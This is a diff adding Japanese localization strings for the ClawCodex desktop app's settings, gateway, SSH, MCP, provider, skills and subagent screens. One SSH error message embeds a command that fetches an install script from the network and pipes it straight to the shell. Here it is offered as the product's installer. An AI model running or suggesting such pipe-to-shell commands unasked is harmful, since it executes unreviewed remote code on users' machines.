+        'ClawCodex がローカル時刻のコンテキストを必要とするときに使用します。空欄ならシステムのタイムゾーンを使います。',
+      agent: {
+        imageInputMode: '画像添付をモデルへ送る方法を制御します。',
+        maxTurns: 'ClawCodex が 1 回の実行を停止するまでのツール呼び出しターン上限です。'
+      },
+      terminal: {
+        cwd: 'ツールとターミナル作業のデフォルトプロジェクトフォルダーです。',
+        persistentShell: 'バックエンドが対応している場合、コマンド間でシェル状態を保持します。',
+        envPassthrough: 'ツール実行へ渡す環境変数です。'
+      },
+      codeExecution: {
+        mode: 'コード実行を現在のプロジェクトにどれだけ厳密に制限するかを設定します。'
+      },
+      fileReadMaxChars: 'ClawCodex が 1 回のファイル読み取りで取得できる最大文字数です。',
+      approvals: {
+        mode: '明示的な承認が必要なコマンドを ClawCodex がどう扱うかを設定します。',
+        timeout: '承認プロンプトがタイムアウトするまで待つ時間です。'
+      },
+      security: {
+        redactSecrets: '検出したシークレットを、可能な限りモデルから見える内容から隠します。'
+      },
+      checkpoints: {
+        enabled: 'ファイル編集前にロールバック用スナップショットを作成します。'
+      },
+      memory: {
+        memoryEnabled: '将来のセッションに役立つ永続メモリを保存します。',
+        userProfileEnabled: 'ユーザーの好みをまとめた簡潔なプロファイルを維持します。'
+      },
+      context: {
+        engine: '長い会話がコンテキスト上限に近づいたときの管理戦略です。'
+      },
+      compression: {
+        enabled: '会話が大きくなったとき、古いコンテキストを要約します。'
+      },
+      voice: {
+        autoTts: 'アシスタントの応答を自動で読み上げます。'
+      },
+      stt: {
+        enabled: 'ローカルまたはプロバイダーによる音声文字起こしを有効にします。',
+        elevenlabs: {
+          languageCode: '任意の ISO-639-3 言語コードです。空欄なら ElevenLabs が自動検出します。'
+        }
+      },
+      updates: {
+        nonInteractiveLocalChanges:
+          'アプリから ClawCodex 自身を更新するとき、ローカルのソース変更を保持するか破棄するかを選びます。ターミナル更新では常に確認されます。'
+      }
+    }),
+    about: {
+      heading: 'ClawCodex Desktop',
+      version: value => `バージョン ${value}`,
+      versionUnavailable: 'バージョンを取得できません',
+      updates: '更新',
+      checkNow: '今すぐ確認',
+      checking: '確認中…',
+      seeWhatsNew: '新機能を見る',
+      updateNow: '今すぐ更新',
+      releaseNotes: 'リリースノート',
+      onLatest: '最新バージョンです。',
+      installing: '更新をインストール中です。',
+      cantUpdate: 'このビルドはアプリ内から更新できません。',
+      cantReach: '更新サーバーに接続できませんでした。',
+      tapCheck: '更新を探すには「今すぐ確認」を押してください。',
+      updateReady: count => `新しい更新の準備ができました (${count} 件の変更を含みます)。`,
+      lastChecked: age => `前回確認: ${age}`,
+      justNowSuffix: ' · たった今',
+      automaticUpdates: '自動更新',
+      automaticUpdatesDesc: 'ClawCodex はバックグラウンドで自動的に更新を確認し、利用可能になったら通知します。',
+      branchCommit: (branch, commit) => `ブランチ ${branch} · コミット ${commit}`,
+      never: '未確認',
+      justNow: 'たった今',
+      minAgo: count => `${count} 分前`,
+      hoursAgo: count => `${count} 時間前`,
+      daysAgo: count => `${count} 日前`
+    },
+    config: {
+      none: 'なし',
+      noneParen: '(なし)',
+      builtinOnly: '内蔵のみ',
+      notSet: '未設定',
+      commaSeparated: 'カンマ区切りの値',
+      searchPlaceholder: '検索…',
+      noResults: '結果が見つかりません',
+      systemDefault: 'システムのデフォルト',
+      loading: 'ClawCodex の設定を読み込み中...',
+      emptyTitle: '設定項目がありません',
+      emptyDesc: 'このセクションには調整できる設定がありません。',
+      failedLoad: '設定の読み込みに失敗しました',
+      autosaveFailed: '自動保存に失敗しました',
+      imported: '設定をインポートしました',
+      invalidJson: '設定 JSON が無効です',
+      keepAwakeTitle: 'コンピューターをスリープさせない',
+      keepAwakeDesc: '本体のスリープを防ぎ、長時間や夜通しの実行を継続します。画面は暗転できます。'
+    },
+    quickEntry: {
+      enabledTitle: 'クイック入力',
+      enabledDesc:
+        'グローバルショートカットで小さな入力欄をどこからでも呼び出し、ClawCodex を開かずにプロンプトを送信します。',
+      shortcutTitle: 'クイック入力のショートカット',
+      shortcutDesc: '修飾キーが 1 つ以上必要です（例: CommandOrControl+Shift+Space）。',
+      active: 'ショートカットは有効です。',
+      takenBy: 'このショートカットは他のアプリが使用しています。別のものを選んでください。',
+      invalidShortcut: '有効なショートカットではありません。修飾キーを 1 つ以上含めてください。'
+    },
+    credentials: {
+      pasteKey: 'キーを貼り付け',
+      pasteLabelKey: label => `${label} キーを貼り付け`,
+      optional: '省略可能',
+      enterValueFirst: '最初に値を入力してください。',
+      couldNotSave: '認証情報を保存できませんでした。',
+      remove: '削除',
+      getKey: 'キーを取得',
+      saving: '保存中'
+    },
+    envActions: {
+      actions: 'アクション',
+
+      manageInKeys: 'API キーで管理',
+      docs: 'ドキュメント',
+      hideValue: '値を非表示',
+      revealValue: '値を表示',
+      replace: '置き換え',
+      set: '設定',
+      clear: 'クリア'
+    },
+    gateway: {
+      loading: 'ゲートウェイ設定を読み込み中...',
+      unavailableTitle: 'ゲートウェイ設定は利用できません',
+      unavailableDesc: 'デスクトップ IPC ブリッジはゲートウェイ設定を公開していません。',
+      title: 'ゲートウェイ接続',
+      envOverride: 'env オーバーライド',
+      intro:
+        'ClawCodex Desktop はデフォルトで独自のローカルゲートウェイを起動します。別のマシンや信頼できるプロキシの背後で既に動作している ClawCodex バックエンドをこのアプリで制御する場合は、リモートゲートウェイを使用してください。以下でプロファイルを選択して、それぞれのリモートホストを設定します。',
+      appliesTo: '適用対象',
+      allProfiles: 'すべてのプロファイル',
+      defaultConnection: '独自のオーバーライドがないすべてのプロファイルのデフォルト接続。',
+      profileConnection: profile =>
+        `"${profile}" がアクティブプロファイルのときのみ使用される接続。「デフォルトゲートウェイを使用」を選ぶとオーバーライドが削除されます。`,
+      envOverrideTitle: '環境変数がこのデスクトップセッションを制御しています。',
+      envOverrideDesc:
+        '保存された設定を使用するには CLAWCODEX_DESKTOP_REMOTE_URL と CLAWCODEX_DESKTOP_REMOTE_TOKEN の設定を解除してください。',
+      localTitle: 'ローカルゲートウェイ',
+      localDesc:
+        'ローカルホストでプライベートな ClawCodex バックエンドを起動します。これがデフォルトで、オフラインでも動作します。',
+      inheritTitle: 'デフォルトゲートウェイを使用',
+      inheritDesc: 'このプロファイルのオーバーライドを削除し、デフォルト接続を使用します。',
+      remoteTitle: 'リモートゲートウェイ',
+      remoteDesc:
+        'このデスクトップシェルをリモートの ClawCodex バックエンドに接続します。ホスト型ゲートウェイは OAuth またはユーザー名とパスワードを使用します。自己ホスト型はセッショントークンを使用する場合があります。',
+      remoteUrlTitle: 'リモート URL',
+      remoteUrlDesc:
+        'リモートダッシュボードバックエンドのベース URL。/clawcodex などのパスプレフィックスもサポートしています。',
+      probing: 'このゲートウェイの認証方法を確認中…',
+      probeError: 'このゲートウェイにまだ到達できません。URL を確認してください。応答後に認証方法が表示されます。',
+      signedIn: 'サインイン済み',
+      signIn: 'サインイン',
+      signOut: 'サインアウト',
+      signInWith: provider => `${provider} でサインイン`,
+      authTitle: '認証',
+      authSignedInPassword:
+        'このゲートウェイはユーザー名とパスワードを使用します。サインイン済みです。セッションは自動的に更新されます。',
+      authSignedInOauth:
+        'このゲートウェイは OAuth を使用します。サインイン済みです。セッションは自動的に更新されます。',
+      authNeedsPassword:
+        'このゲートウェイはユーザー名とパスワードを使用します。このデスクトップアプリを承認するにはサインインしてください。',
+      authNeedsOauth: provider =>
+        `このゲートウェイは OAuth を使用します。このデスクトップアプリを承認するには ${provider} でサインインしてください。`,
+      tokenTitle: 'セッショントークン',
+      tokenDesc:
+        'REST および WebSocket アクセスに使用するダッシュボードセッショントークン。保存済みトークンを維持するには空欄にしてください。',
+      existingToken: value => `既存のトークン ${value}`,
+      savedToken: '保存済み',
+      pasteSessionToken: 'セッショントークンを貼り付け',
+      testRemote: 'リモートをテスト',
+      saveForRestart: '次回起動時のために保存',
+      saveAndReconnect: '保存して再接続',
+      diagnostics: '診断',
+      diagnosticsDesc: 'ファイルマネージャーで desktop.log を表示します。ゲートウェイの起動に失敗した際に役立ちます。',
+      openLogs: 'ログを開く',
+      incompleteTitle: 'リモートゲートウェイの設定が不完全です',
+      incompleteSignIn: 'リモートに切り替える前にリモート URL を入力してサインインしてください。',
+      incompleteToken: 'リモートに切り替える前にリモート URL とセッショントークンを入力してください。',
+      incompleteSignInTest: 'テストする前にリモート URL を入力してサインインしてください。',
+      incompleteTokenTest: 'テストする前にリモート URL とセッショントークンを入力してください。',
+      enterUrlFirst: '最初にリモート URL を入力してください。',
+      restartingTitle: 'ゲートウェイ接続を再起動中',
+      savedTitle: 'ゲートウェイ設定を保存しました',
+      restartingMessage: 'ClawCodex Desktop は保存された設定を使用して再接続します。',
+      savedMessage: '次回起動時に保存されます。',
+      connectedTo: (baseUrl, version) => `${baseUrl}${version ? ` · ClawCodex ${version}` : ''} に接続しました`,
+      reachableTitle: 'リモートゲートウェイに到達可能',
+      signedOutTitle: 'サインアウトしました',
+      signedOutMessage: 'リモートゲートウェイセッションをクリアしました。',
+      failedLoad: 'ゲートウェイ設定の読み込みに失敗しました',
+      signInFailed: 'サインインに失敗しました',
+      signOutFailed: 'サインアウトに失敗しました',
+      testFailed: 'リモートゲートウェイのテストに失敗しました',
+      applyFailed: 'ゲートウェイ設定を適用できませんでした',
+      saveFailed: 'ゲートウェイ設定を保存できませんでした',
+      sshTitle: 'SSH で接続',
+      sshDesc:
+        'ClawCodex は SSH 経由でリモート上に起動され、このアプリにトンネルされます。リモート側で何かを起動・公開する必要はありません。ホストへの鍵ベースの SSH アクセスが前提です。',
+      sshTrustHint: '初回に提示されたホスト鍵を信頼して固定し、以後の変更は拒否します。',
+      sshHostTitle: 'ホスト',
+      sshHostDesc: 'user@host、または ~/.ssh/config の Host エイリアス。',
+      sshHostPick: 'ホストを選択…',
+      sshHostPickTitle: 'ホスト',
+      sshHostPickDesc: '~/.ssh/config の Host エイリアス、または「カスタム」で手入力。',
+      sshHostCustom: 'カスタム（手入力）…',
+      sshUserTitle: 'ユーザー',
+      sshUserDesc: '空欄 = ~/.ssh/config または現在のユーザー。',
+      sshUserPlaceholder: '~/.ssh/config から',
+      sshPortTitle: 'ポート',
+      sshPortDesc: '空欄 = 22 または ~/.ssh/config のポート。',
+      sshKeyTitle: '鍵ファイル',
+      sshKeyDesc: '秘密鍵のパス。空欄 = ssh-agent または ~/.ssh/config。',
+      sshClawCodexPathTitle: 'ClawCodex パス（任意）',
+      sshClawCodexPathDesc: 'リモートの clawcodex バイナリへのフルパス。空欄 = 自動検出。',
+      sshClawCodexPathPlaceholder: '自動検出',
+      sshRemoteProfileTitle: 'リモートプロファイル（任意）',
+      sshRemoteProfileDesc: 'リモートホスト上のプロファイル名。空欄 = Desktop のプロファイル名を使用。',
+      sshTestConnection: 'SSH をテスト',
+      sshConnect: '接続',
+      sshButtonsHint: '「保存」は次回起動時に適用され、「接続」は今すぐ再接続します。',
+      sshReachable: (host, platform) => `接続可能: ${host}（${platform}）— ClawCodex を検出`,
+      sshIncompleteHost: '接続する前に SSH ホストを入力してください。',
+      sshErrUnreachable: 'SSH でそのホストに到達できませんでした。ホスト、ポート、ネットワークを確認してください。',
+      sshErrAuth:
+        'SSH 認証に失敗しました。鍵を ssh-agent に読み込む（ssh-add）か、~/.ssh/config に IdentityFile を設定してください。ClawCodex は非対話的に ssh を実行します。',
+      sshErrHostKey:
+        '前回の接続以降、ホスト鍵が変更されています。想定どおりか確認し、ssh-keygen -R <host> を実行してから再接続してください。',
+      sshErrNotInstalled:
+        'リモートホストに ClawCodex がインストールされていません。リモートでインストールする（curl -fsSL https://github.com/agentforce314/clawcodex/install.sh | sh）か、ClawCodex パスを設定してください。',
+      sshErrPlatform:
+        'サポートされていないリモートプラットフォームです。ClawCodex Desktop の SSH モードは Linux、macOS、Windows のリモートホストに対応しています。',
+      sshErrTimeout: 'SSH 接続がタイムアウトしました。ホストが到達不能、またはスリープ中の可能性があります。',
+      sshErrUpdateRequired: 'Desktop SSH で接続する前に、リモートホストの ClawCodex を更新してください。',
+      sshErrUnknown: 'SSH 接続に失敗しました。'
+    },
+    keys: {
+      loading: 'API キーと認証情報を読み込み中...',
+      failedLoad: 'API キーの読み込みに失敗しました',
+      empty: 'このカテゴリーにはまだ設定がありません。'
+    },
+    mcp: {
+      loading: 'MCP サーバーを読み込み中...',
+      failedLoad: 'MCP 設定の読み込みに失敗しました',
+      nameRequiredTitle: '名前が必要です',
+      nameRequiredMessage: 'この MCP サーバーに設定キーを付けてください。',
+      objectRequired: 'サーバー設定は JSON オブジェクトである必要があります',
+      invalidJson: '無効な MCP JSON',
+      saveFailed: '保存に失敗しました',
+      removeFailed: '削除に失敗しました',
+      gatewayUnavailableTitle: 'ゲートウェイが利用できません',
+      gatewayUnavailableMessage: 'MCP を再読み込みする前にゲートウェイを再接続してください。',
+      reloadedTitle: 'MCP ツールを再読み込みしました',
+      reloadedMessage: '新しいツールスキーマは新しいターンに適用されます。',
+      reloadFailed: 'MCP の再読み込みに失敗しました',
+      savedTitle: 'MCP サーバーを保存しました',
+      savedMessage: name => `${name} は MCP の再読み込み後に適用されます。`,
+      newServer: '新しいサーバー',
+      reload: 'MCP を再読み込み',
+      reloading: '再読み込み中...',
+      emptyTitle: 'MCP サーバーがありません',
+      emptyDesc: 'MCP ツールを公開するには stdio または HTTP サーバーを追加してください。',
+      disabled: '無効',
+      editServer: 'サーバーを編集',
+      name: '名前',
+      serverJson: 'サーバー JSON',
+      remove: '削除',
+      saveServer: 'サーバーを保存',
+      capabilitySummary: (tools, prompts, resources) =>
+        `${[`ツール ${tools} 個`, ...(prompts ? [`プロンプト ${prompts} 個`] : []), ...(resources ? [`リソース ${resources} 個`] : [])].join('、')} を有効化`,
+      statusConnecting: '接続中…',
+      statusNeedsAuth: '認証が必要です',
+      statusError: 'エラー',
+      statusOff: 'オフ',
+      allServers: 'すべてのサーバー',
+      authenticatedTitle: '認証済み',
+      authenticatedMessage: (server, count) => `${server}: ツール ${count} 個`,
+      waitingForBrowser: 'ブラウザを待機中…',
+      authenticate: '認証',
+      unsavedConnect: '未保存 — 接続するには mcp.json を保存してください。',
+      enableTool: tool => `${tool} を有効化`,
+      disableTool: tool => `${tool} を無効化`,
+      noOutput: 'まだ出力がありません。'
+    },
+    model: {
+      loading: 'モデル設定を読み込み中...',
+      appliesDesc:
+        '新しいセッションに適用されます。コンポーザーのモデルピッカーを使ってアクティブなチャットをホットスワップできます。',
+      provider: 'プロバイダー',
+      model: 'モデル',
+      applying: '適用中...',
+      auxiliaryTitle: '補助モデル',
+      resetAllToMain: 'すべてメインにリセット',
+      auxiliaryDesc:
+        'ヘルパータスクはデフォルトでメインモデルで実行されます。タスクに専用モデルを割り当てることでオーバーライドできます。',
+      setToMain: 'メインに設定',
+      change: '変更',
+      autoUseMain: '自動 · メインモデルを使用',
+      providerDefault: '(プロバイダーのデフォルト)',
+      tasks: {
+        vision: { label: 'ビジョン', hint: '画像分析' },
+        web_extract: { label: 'ウェブ抽出', hint: 'ページの要約' },
+        compression: { label: '圧縮', hint: 'コンテキストの圧縮' },
+        skills_hub: { label: 'スキルハブ', hint: 'スキル検索' },
+        approval: { label: '承認', hint: 'スマート自動承認' },
+        mcp: { label: 'MCP', hint: 'MCP ツールルーティング' },
+        title_generation: { label: 'タイトル生成', hint: 'セッションタイトル' },
+        curator: { label: 'キュレーター', hint: 'スキル使用レビュー' }
+      }
+    },
+    providers: {
+      connectAccount: 'アカウントを接続',
+      haveApiKey: 'API キーをお持ちですか？',
+      intro:
+        'サブスクリプションでサインインします。API キーのコピーは不要です。ClawCodex がアプリ内でブラウザーサインインを代行します。',
+      connected: '接続済み',
+      collapse: '折りたたむ',
+      connectAnother: '別のプロバイダーを接続',
+      otherProviders: 'その他のプロバイダー',
+      removeConfirm: provider => `${provider} を削除しますか？`,
+      removeKeyManaged: provider => `${provider} は API キーで設定されています。API Keys から削除してください。`,
+      removedTitle: 'アカウントを削除しました',
+      removedMessage: provider => `${provider} を削除しました。`,
+      failedRemove: provider => `${provider} を削除できませんでした`,
+      noProviderKeys: '利用可能なプロバイダー API キーがありません。',
+      searchKeys: 'プロバイダーを検索…',
+      noKeysMatch: '一致するプロバイダーがありません。',
+      localEndpoint: {
+        title: 'ローカル / カスタムエンドポイント',
+        description: 'OpenAI 互換のエンドポイント（Zyphra、vLLM、llama.cpp、Ollama など）を指定します。'
+      },
+      loading: 'プロバイダーを読み込み中...'
+    },
+    sessions: {
+      loading: 'アーカイブ済みセッションを読み込み中…',
+      archivedTitle: 'アーカイブ済みセッション',
+      archivedIntro:
+        'アーカイブ済みチャットはサイドバーでは非表示になりますが、すべてのメッセージは保持されます。サイドバーのチャットを Ctrl/⌘ クリックするとアーカイブできます。',
+      emptyArchivedTitle: 'アーカイブがありません',
+      emptyArchivedDesc: 'チャットをアーカイブするとここに表示されます。',
+      unarchive: 'アーカイブを解除',
+      deletePermanently: '完全に削除',
+      messages: count => `${count} 件のメッセージ`,
+      restored: '復元しました',
+      deleteConfirm: title => `"${title}" を完全に削除しますか？この操作は元に戻せません。`,
+      autoArchiveTitle: '古いチャットを自動アーカイブ',
+      autoArchiveDesc:
+        'しばらく操作していないチャットを自動的にアーカイブします。ピン留めしたチャットはアーカイブされず、削除もされません。アーカイブされたチャットはここに移動します。',
+      autoArchiveDaysLabel: 'アーカイブまでの日数',
+      autoArchiveDaysUnit: '日間操作なし',
+      autoArchiveFailed: '自動アーカイブを更新できませんでした',
+      defaultDirTitle: 'デフォルトのプロジェクトディレクトリ',
+      defaultDirDesc:
+        '別のフォルダーを選択しない限り、新しいセッションはこのフォルダーで開始します。未設定の場合はホームディレクトリが使用されます。',
+      defaultDirUpdated: 'デフォルトのプロジェクトディレクトリを更新しました',
+      defaultsTo: label => `デフォルト: ${label}。`,
+      change: '変更',
+      choose: '選択',
+      clear: 'クリア',
+      notSet: '未設定',
+      failedLoad: 'アーカイブ済みセッションを読み込めませんでした',
+      unarchiveFailed: 'アーカイブ解除に失敗しました',
+      deleteFailed: '削除に失敗しました',
+      updateDirFailed: 'デフォルトディレクトリを更新できませんでした',
+      clearDirFailed: 'デフォルトディレクトリをクリアできませんでした'
+    },
+    toolsets: {
+      loadingConfig: '設定を読み込み中',
+      savedTitle: '認証情報を保存しました',
+      savedMessage: key => `${key} を更新しました。`,
+      removedTitle: '認証情報を削除しました',
+      removedMessage: key => `${key} を削除しました。`,
+      failedSave: key => `${key} の保存に失敗しました`,
+      failedRemove: key => `${key} の削除に失敗しました`,
+      failedReveal: key => `${key} の表示に失敗しました`,
+      removeConfirm: key => `.env から ${key} を削除しますか？`,
+      set: '設定済み',
+      notSet: '未設定',
+      selectedTitle: 'プロバイダーを選択しました',
+      selectedMessage: provider => `${provider} が有効になりました。`,
+      failedSelect: provider => `${provider} の選択に失敗しました`,
+      failedLoad: 'ツール設定の読み込みに失敗しました',
+      noProviderOptions:
+        'このツールセットにはプロバイダーのオプションがありません。有効にすれば現在の設定で動作します。',
+      noProviders: '現在このツールセットに利用可能なプロバイダーがありません。',
+      ready: '準備完了',
+      needsSignIn: 'サインインが必要',
+      needsSetup: 'セットアップが必要',
+      activeBackend: '使用中',
+      activeBackendHint: 'これが現在アクティブなバックエンドです',
+      useBackend: 'このバックエンドを使う',
+      nousIncluded: 'Nous サブスクリプションに含まれています。有効にするには Nous Portal にサインインしてください。',
+      nousAuthNeededTitle: 'Nous Portal にサインイン',
+      nousAuthNeededMessage: provider =>
+        `${provider} は保存されましたが、Nous Portal にサインインするまで有効になりません。`,
+      nousAuthSignIn: 'サインイン',
+      nousAuthDoneTitle: 'Nous Portal に接続しました',
+      nousAuthDoneMessage: 'サブスクリプションのバックエンドが有効になりました。',
+      nousAuthFailed: 'Nous Portal のサインインが完了しませんでした',
+      noApiKeyRequired: 'API キーは不要です。',
+      postSetupHint: step =>
+        `このバックエンドは一度だけインストールが必要です (${step})。このマシン上で実行され、数分かかる場合があります。`,
+      postSetupInstalledHint: 'インストール済みです。問題がある場合のみセットアップを再実行してください。',
+      postSetupRun: 'セットアップを実行',
+      postSetupRerun: 'セットアップを再実行',
+      postSetupInstalled: 'インストール済み',
+      postSetupRunning: 'インストール中…',
+      postSetupStarting: '開始中…',
+      postSetupCompleteTitle: 'セットアップ完了',
+      postSetupCompleteMessage: step => `${step} をインストールしました。`,
+      postSetupErrorTitle: 'セットアップはエラーで終了しました',
+      postSetupErrorMessage: step => `${step} のログを確認してください。`,
+      postSetupFailed: step => `${step} のセットアップの実行に失敗しました`,
+      webSearchActive: backend => `検索: ${backend}`,
+      webExtractActive: backend => `抽出: ${backend}`,
+      webCapabilityUnset: '未設定',
+      webUseForSearch: '検索に使用',
+      webUseForExtract: '抽出に使用',
+      webUsedForSearch: '検索バックエンド',
+      webUsedForExtract: '抽出バックエンド',
+      webCapabilitySelectedMessage: (provider, capability) =>
+        `${provider} がウェブ${capability === 'search' ? '検索' : '抽出'}を担当します。`,
+      failedSelectCapability: provider => `${provider} の設定に失敗しました`,
+      terminalBackend: {
+        sectionTitle: '実行バックエンド',
+        loading: '実行バックエンドを確認中…',
+        failedLoad: 'ターミナルバックエンドの読み込みに失敗しました',
+        ready: '準備完了',
+        needsSetup: 'セットアップが必要',
+        unavailable: '利用不可',
+        inUse: '使用中',
+        selectedTitle: 'バックエンドを選択しました',
+        selectedMessage: backend => `ターミナルコマンドは ${backend} で実行されます。新しいセッションに適用されます。`,
+        failedSelect: backend => `${backend} の選択に失敗しました`,
+        needsSetupHint: 'このバックエンドは今すぐ選択できますが、セットアップが完了するまでコマンドは失敗します。'
+      }
+    }
+  },
+
+  skills: {
+    tabSkills: 'スキル',
+    tabToolsets: 'ツールセット',
+    tabMcp: 'MCP',
+    all: 'すべて',
+    searchSkills: 'スキルを検索...',
+    searchToolsets: 'ツールセットを検索...',
+    refresh: 'スキルを更新',
+    refreshing: 'スキルを更新中',
+    loading: '機能を読み込み中...',
+    noSkillsTitle: 'スキルが見つかりません',
+    noSkillsDesc: '検索を広げるか、別のカテゴリーを試してください。',
+    noToolsetsTitle: 'ツールセットが見つかりません',
+    noToolsetsDesc: '検索キーワードを広げてください。',
+    noDescription: '説明はありません。',
+    configured: '設定済み',
+    needsKeys: 'キーが必要',
+    visionModelHint:
+      'ビジョンは補助モデル設定を使用します。画像対応モデルはそこで選択され、ここでプロバイダーごとに選ぶものではありません。',
+    visionModelLink: '設定 → モデル でビジョンモデルを選択',
+    toolsetsEnabled: (enabled, total) => `${enabled}/${total} ツールセットが有効`,
+    configureToolset: label => `${label} を設定`,
+    toggleToolset: (label, enabled) => `${label} ツールセットを${enabled ? 'オン' : 'オフ'}にする`,
+    skillsLoadFailed: 'スキルの読み込みに失敗しました',
+    toolsetsRefreshFailed: 'ツールセットの更新に失敗しました',
+    skillEnabled: 'スキルを有効にしました',
+    skillDisabled: 'スキルを無効にしました',
+    toolsetEnabled: 'ツールセットを有効にしました',
+    toolsetDisabled: 'ツールセットを無効にしました',
+    appliesToNewSessions: name => `${name} は新しいセッションに適用されます。`,
+    failedToUpdate: name => `${name} の更新に失敗しました`,
+    sortMostUsed: '使用頻度順',
+    sortAlpha: 'A–Z',
+    sortMostUsedDesc: '↓ 使用頻度順',
+    sortLeastUsedAsc: '↑ 使用頻度が低い順',
+    enableAll: 'すべて有効化',
+    disableAll: 'すべて無効化',
+    disableUnused: '未使用を無効化',
+    bulkUpdated: count => `${count} 件を新しいセッション向けに更新しました。`,
+    bulkNoChange: '変更するものはありません。',
+    usageCount: count => `${count} 回使用`,
+    provenance: {
+      agent: '学習済み',
+      bundled: '組み込み',
+      hub: 'ハブ'
+    },
+    emptyNoneFound: noun => `${noun} が見つかりません`,
+    emptyNothingMatches: query => `「${query}」に一致するものはありません。`,
+    emptyNoneAvailable: noun => `利用可能な ${noun} はまだありません。`,
+    changesApplyNewSessions: '変更は新しいセッションに適用されます。',
+    skillUpdated: 'スキルを更新しました',
+    edit: '編集',
+    archive: 'アーカイブ',
+    skillArchivedTitle: 'スキルをアーカイブしました',
+    skillArchivedMessage: 'clawcodex curator restore で復元できます。'
+  },
+
+  starmap: {
+    title: 'メモリグラフ',
+    subtitle: (nodes, clusters) => `${clusters} カテゴリの ${nodes} スキル`,
+    close: 'メモリグラフを閉じる',
+    refresh: '更新',
+    memory: 'メモリ',
+    filterAll: 'すべて',
+    filterUsed: '使用済み',
+    filterLearned: '学習済み',
+    viewGraph: 'グラフ',
+    loadFailed: 'メモリグラフを読み込めませんでした',
+    loading: '読み込み中…',
+    emptyTitle: 'まだ学習はありません',
+    emptyDesc: 'ClawCodex がスキルやメモリを蓄積すると、ここに表示されます。'
+  },
+  agents: {
+    close: 'エージェントを閉じる',
+    title: 'スポーンツリー',
+    subtitle: '現在のターンのライブサブエージェントのアクティビティ。',
+    emptyTitle: 'ライブサブエージェントはありません',
+    emptyDesc: 'ターンで作業を委任すると、子エージェントの進捗状況がここにストリームされます。',
+    running: '実行中',
+    failed: '失敗',
+    done: '完了',
+    streaming: 'ストリーミング中',
+    files: 'ファイル',
+    moreFiles: count => `+${count} 件のファイル`,
+    delegation: index => `委任 ${index}`,
+    workers: count => `${count} ワーカー`,
+    workersActive: count => `${count} アクティブ`,
+    agentsCount: count => `${count} エージェント`,
+    activeCount: count => `${count} アクティブ`,
+    failedCount: count => `${count} 失敗`,
+    toolsCount: count => `${count} ツール`,
+    filesCount: count => `${count} ファイル`,
+    updatedAgo: age => `${age} に更新`,
+    ageNow: 'たった今',
+    ageSeconds: seconds => `${seconds}秒前`,
+    ageMinutes: minutes => `${minutes}分前`,
+    ageHours: hours => `${hours}時間前`,
+    ageDays: days => `${days}日前`,
+    durationSeconds: seconds => `${seconds}秒`,
+    durationMinutes: (minutes, seconds) => `${minutes}分 ${seconds}秒`,
+    tokens: value => `${value} トーク`
+  },
+
+  commandCenter: {
+    close: 'コマンドセンターを閉じる',
+    paletteTitle: 'コマンドパレット',
+    back: '戻る',
+    searchPlaceholder: 'セッション、ビュー、アクションを検索',
+    goTo: '移動',
+    goToSession: 'セッションへ移動',
+    branches: 'ブランチ',
+    startInBranch: branch => `${branch} で新しい会話`,
+    commandCenter: 'コマンドセンター',
+    appearance: '外観',
+    settings: '設定',
+    changeTheme: 'テーマを変更',
+    changeColorMode: 'カラーモードを変更…',
+    pets: {
+      title: 'ペット',
+      placeholder: 'ペットを検索…',
+      loading: 'petdex ギャラリーを読み込み中…',
+      error: 'petdex ギャラリーに接続できません。',
+      staleBackend: 'ペット機能を使うには ClawCodex を再起動してください。',
+      empty: '一致するペットがありません。',
+      turnOff: 'オフ',
+      turnOn: 'オン',
+      installed: 'インストール済み',
+      generatedTag: '生成',
+      adoptFailed: 'ペットを採用できませんでした。',
+      toggleFailed: enabled => `ペットを${enabled ? 'オン' : 'オフ'}にできませんでした。`,
+      noneAvailable: '利用可能なペットがありません。'
+    },
+    generatePet: {
+      title: 'ペットを生成',
+      placeholder: '生成するペットを説明…',
+      promptHint: '説明を入力して Enter を押すと、4 つの見た目を生成します。',
+      readyHint: 'Enter を押すと、説明から 4 つの見た目を生成します。',
+      generate: '生成',
+      generating: '生成中…',
+      retry: '再試行',
+      hatch: '孵化',
+      spawning: 'スポーン中…',
+      hatching: 'ペットを孵化しています…',
+      hatchingSub: '命を吹き込んでいます…',
+      hatched: '孵化しました！',
+      hatchRow: (_state, done, total) => `フレームを描画中… ${done}/${total}`,
+      hatchComposing: 'まとめています…',
+      hatchSaving: 'もうすぐです…',
+      namePlaceholder: 'ペットに名前を付ける',
+      staleBackend: 'ペットを生成するには ClawCodex を更新してください。',
+      backgroundHint: 'このウィンドウは閉じても大丈夫です。完了したら ClawCodex が通知します。',
+      slowProviderHint: '数分かかることがあります',
+      remix: 'リミックス',
+      remixConfirmTitle: 'この見た目でリミックスしますか？',
+      remixConfirmBody: 'これを起点に新しい候補を生成します。数分かかることがあります。',
+      genericError: '生成に失敗しました。もう一度試すか、候補を選んでください。',
+      referenceImageTooLarge: '参照画像が大きすぎます。16 MB 未満の画像を使ってください。',
+      referenceImageInvalid: '参照画像を読み込めませんでした。PNG/JPG/WebP/GIF を試してください。',
+      adopt: '迎え入れる',
+      startOver: 'やり直す'
+    },
+    installTheme: {
+      title: 'テーマをインストール…',
+      pageTitle: 'テーマをインストール',
+      placeholder: 'VS Code Marketplace を検索...',
+      loading: 'Marketplace を検索中...',
+      error: 'Marketplace に接続できませんでした。',
+      empty: '一致するテーマがありません。',
+      install: 'インストール',
+      installing: 'インストール中...',
+      installed: 'インストール済み',
+      installs: count => `${count} 回インストール`
+    },
+    settingsFields: '設定フィールド',
+    mcpServers: 'MCP サーバー',
+    archivedChats: 'アーカイブ済みチャット',
+    sections: { sessions: 'セッション', system: 'システム', usage: '使用状況' },
+    sectionDescriptions: {
+      sessions: 'セッションの検索と管理',
+      system: 'ステータス、ログ、システムアクション',
+      usage: 'トークン、コスト、スキルの活動履歴'
+    },
+    nav: {
+      newChat: { title: '新しいセッション', detail: '新しいセッションを開始' },
+      settings: { title: '設定', detail: 'ClawCodex デスクトップを設定' },
+      skills: { title: 'スキルとツール', detail: 'スキル、ツールセット、プロバイダーを有効化' },
+      messaging: { title: 'メッセージング', detail: 'Telegram、Slack、Discord などを設定' },
+      artifacts: { title: 'アーティファクト', detail: '生成された出力を閲覧' }
+    },
+    sectionEntries: {
+      sessions: { title: 'セッションパネル', detail: 'セッションの検索、ピン留め、管理' },
+      system: { title: 'システムパネル', detail: 'ゲートウェイのステータス、ログ、再起動/更新' },
+      usage: { title: '使用状況パネル', detail: 'トークン、コスト、スキルの活動' }
+    },
+    providerNavigate: 'ナビゲート',
+    providerSessions: 'セッション',
+    refresh: '更新',
+    refreshing: '更新中...',
+    noResults: '一致する結果が見つかりません。',
